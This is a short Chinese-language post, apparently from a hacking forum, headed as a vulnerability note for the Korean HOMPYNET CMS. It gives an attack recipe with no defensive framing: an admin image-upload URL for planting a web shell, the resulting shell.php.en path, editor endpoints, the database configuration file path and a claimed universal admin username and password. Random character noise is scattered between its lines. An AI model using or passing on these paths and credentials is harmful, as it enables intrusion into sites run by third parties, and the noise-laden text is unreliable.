韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
8 {& D/ j! h- s# i- z) l
5 A# l5 y% |) O( Vhttp://www.xxx.com/admin/image_a ... p;iname=&iform=

9 z/ U, |2 E$ t1 R( r5 qhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
! y% X$ l5 M5 p" }
2 C+ a% o0 x( o8 o上传后路径：
5 c( H5 K" Z4 `  u2 D8 I
http://www.xxx.com/bis_web_page/images/shell.php.en

编辑器：

http://www.xxx.com/admin/editor/SWE.php
7 _5 ], S3 o+ F3 p. I
http://www.xxx.com/program/editor/SWE.php
, U! G1 K/ ~" f0 {
" i. n0 p6 S& z! B: c数据配置文件路径：
* g  Z, ^3 I  U2 p+ {
http://www.xxx.com/m_config/DATA/g_setting.php
6 I0 p8 f" Y; [% i  D
/ @  Z$ K! @8 C. W8 y( n4 ~: i此程序通用后台账号 ：gamsiw  php99
6 F& O# d# q$ [* S7 s. U+ I
​
$ j! O. ^. T/ f9 m: S0 h3 h
; ]& ]) b4 @9 n6 C